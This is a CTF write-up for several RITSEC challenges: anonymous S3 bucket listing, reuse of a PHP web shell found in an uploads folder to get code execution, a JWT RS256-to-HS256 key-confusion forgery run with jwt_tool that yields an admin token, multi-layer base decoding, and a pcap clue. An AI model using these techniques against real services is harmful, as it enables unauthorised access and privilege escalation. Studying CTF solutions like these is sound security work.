Buckets of fun
There’s just some static HTML code at the challenge location. Reading the description suggest this is a AWS S3 misconfiguration.
$ aws s3 ls s3://list-s3.scriptingis.life.ctf --no-sign-request
2019-11-15 18:00:20 630 index.html
2019-11-15 18:00:20 25 youfoundme-asd897kjm.txt
$ aws s3 cp s3://list-s3.scriptingis.life.ctf/youfoundme-asd897kjm.txt - --no-sign-request
RITSEC{LIST_HIDDEN_FILES}
Potato
When opening the challenge, there is not much.
There’s a comment that suggests there are some kind of upload or photos capability:
<article>
....
<!-- upload and photos not yet linked -->
</article>
I try /uploads
and there is a a lot of images. I figure that it’s someone tried to get a shell on the server. A quick search for <?php
reveals the embedded shell that we can use to get RCE.
- Note: Since the file is not being interpreted as a PHP file, the php code is outputed as the file is being treated as text.
We pick a file that have a .php
file extension so the PHP code will get executed.
TL;DR
- Find uploaded shell in
/uploads
- Steal shell
- Cat flag
Our First API
Opening the challenge we see:
This page is only for authentication with our api, located at port 4000!
When we go to port 4000 we get the following API documentation:
Let’s fetch a token.
GET /AUTH?name=fuc HTTP/1.1
Host: ctfchallenges.ritsec.club:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/75.0.3770.90 Chrome/75.0.3770.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiZnVjIiwidHlwZSI6InVzZXIiLCJpYXQiOjE1NzM4NDI2MDh9.QYi3O0Lq8-aZ-p6YTMqHg09x33TXIkHX0M62vYHLY-GMc933En2h4s7rKtPfB6a55fmBPx5GknMP2LIcrnhhmufK7Pr8Z3TIPgqLO49A6__7hs3XImb03h55cZvpvYSZ3156Rh4inwxa1SR3jztYX8f_eRCa_-rmTxt0mON1bSs"}
We see that this is a JWT
token.
We can confirm this by visiting /API/NORMAL
and add a Authorization
-header with the JWT token.
Now we need to elevate our privileges to admin. Burp found a public key. This suggest we will use the RS256
to HS256
bypass.
Save the public key as key.key
. I’m using this tool:
- $ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiZnVjIiwidHlwZSI6InVzZXIiLCJpYXQiOjE1NzM4NDI2MDh9.QYi3O0Lq8-aZ-p6YTMqHg09x33TXIkHX0M62vYHLY-GMc933En2h4s7rKtPfB6a55fmBPx5GknMP2LIcrnhhmufK7Pr8Z3TIPgqLO49A6__7hs3XImb03h55cZvpvYSZ3156Rh4inwxa1SR3jztYX8f_eRCa_-rmTxt0mON1bSs
,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
----''----''----''----''----''----''----''----''----''----'
,--.,--. ,--.,--------.,--------. ,--.
| || | | |'--. .--''--. .--',---. ,---. | |
,--. | || |.'.| | | | | | | .-. || .-. || |
| '-' /| ,'. | | |,----.| | ' '-' '' '-' '| |
`-----' '--' '--' `--''----'`--' `---' `---' `--'
,----.,----.,----.,----.,----.,----.,----.,----.,----.,----.
'----''----''----''----''----''----''----''----''----''----'
Token header values:
[+] typ = JWT
[+] alg = RS256
Token payload values:
[+] name = fuc
[+] type = user
[+] iat = 1573842608
######################################################
# Options:
# 1: Check CVE-2015-2951 - alg=None vulnerability
# 2: Check for Public Key bypass in RSA mode
# 3: Check signature against a key
# 4: Check signature against a key file ("kid")
# 5: Crack signature with supplied dictionary file
# 6: Tamper with payload data (key required to sign)
# 0: Quit
######################################################
Please make a selection (1-6)
> 6
Token header values:
[1] typ = JWT
[2] alg = RS256
[3] *ADD A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] name = fuc
[2] type = user
[3] iat = 1573842608
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 2
Current value of type is: user
Please enter new value and hit ENTER
> admin
> [1] name = fuc
> [2] type = admin
> [3] iat = 1573842608
> [0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token Signing:
[1] Sign token with known key
[2] Strip signature from token vulnerable to CVE-2015-2951
[3] Sign with Public Key bypass vulnerability
[4] Sign token with key file
Please select an option from above (1-4):
> 3
Please enter the Public Key filename:
> key.key
> eyJuYW1lIjoiZnVjIiwidHlwZSI6ImFkbWluIiwiaWF0IjoxNTczODQyNjA4fQ
Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
(This will only be valid on unpatched implementations of JWT.)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiZnVjIiwidHlwZSI6ImFkbWluIiwiaWF0IjoxNTczODQyNjA4fQ.0kH-AMv_Uid7qbMeuuSQQSVbcZhkgFKbja1GLwCC4ZE
We have now elevated our privileges to admin.
Now we can access the /API/ADMIN
endpoint.
Onion Layer Encoding
We get a file that is base64/base16/base32 encoded a lot of times. Psuedo code like this:
base64(base64(base32(base16(RS{flag}))))
Wrote a quick python script to decode with all possible permutations until the flag is returned.
import base64
import time
with open("flag.txt") as fp:
flag = fp.read().rstrip("\n")
def isprintable(s, codec='utf8'):
try: s.decode(codec)
except UnicodeDecodeError: return False
else: return True
permutation = [flag]
while(True):
possible = []
for x in permutation:
try:
x2 = base64.b16decode(x,casefold=True).rstrip("\n")
if isprintable(x2):
possible.append(x2)
print("B16 OK at ".format(x2))
else:
print("B16 fail1")
except Exception as e:
print("b16 fail")
try:
x3 = base64.b32decode(x).rstrip("\n")
if isprintable(x3):
possible.append(x3)
print("B32 OK at ".format(x3))
else:
print("b32 fail1 ".format(x3))
except Exception as e:
print("B32 fail")
try:
x4 = base64.b64decode(x).rstrip("\n")
if isprintable(x4):
possible.append(x4)
print("B64 OK at ".format(x4))
else:
print("b64 fail1")
except Exception as e:
print("B64 fail")
if len(possible) == 0 or x is "":
print(x)
break
permutation = possible
possible = []
b16 fail
B32 fail
B64 OK at
B16 OK at
B32 fail
b64 fail1
B16 OK at
B32 fail
b64 fail1
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 fail
B64 OK at
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 fail
B64 OK at
B16 OK at
B32 fail
b64 fail1
b16 fail
B32 fail
B64 OK at
b16 fail
B32 fail
B64 OK at
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 fail
B64 OK at
b16 fail
B32 fail
B64 OK at
b16 fail
B32 OK at
b64 fail1
B16 OK at
B32 fail
b64 fail1
b16 fail
B32 fail
B64 OK at
B16 OK at
B32 fail
b64 fail1
b16 fail
B32 fail
B64 OK at
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 fail
B64 OK at
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 fail
B64 OK at
b16 fail
B32 fail
B64 OK at
B16 OK at
B32 fail
b64 fail1
B16 OK at
B32 fail
b64 fail1
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 fail
B64 OK at
B16 OK at
B32 fail
b64 fail1
b16 fail
B32 fail
B64 OK at
b16 fail
B32 OK at
b64 fail1
b16 fail
B32 fail
b64 fail1
RITSEC{0n1On_L4y3R}
findme
This is a wireshark challenge. We open the pcap
and find that there is communication to:
- 18.219.169.113:1337
nc to this IP and port reveals a base64 encoded string.
nc 18.219.169.113 1337
H4sIAOKnx10AA+3OvQrCMADE8cx9ijxC0qbJKoiDq7qHaP0oSAltMonvbouLg+hURPj/lhvuhjtd
w1nMTI2sNVNqV6vXfDKl0FVttSsrp8ed1pVxQqq5j03ykEIvpcj73KX8Yfel/1Ob9W67Wt7iIcTB
q963yTdt0yV/WcR47O5F8euHAAAAAAAAAAAAAAAAAIB3HhZRz7sAKAAA
When piping it to file we get a gzip.
$ echo -n "H4sIAOKnx10AA+3OvQrCMADE8cx9ijxC0qbJKoiDq7qHaP0oSAltMonvbouLg+hURPj/lhvuhjtd
w1nMTI2sNVNqV6vXfDKl0FVttSsrp8ed1pVxQqq5j03ykEIvpcj73KX8Yfel/1Ob9W67Wt7iIcTB
q963yTdt0yV/WcR47O5F8euHAAAAAAAAAAAAAAAAAIB3HhZRz7sAKAAA" | base64 -d | file -
/dev/stdin: gzip compressed data, last modified: Sun Nov 10 06:02:10 2019, from Unix
Extract it and we get the flag:
RITSEC{pcaps_0r_it_didnt_h@ppen}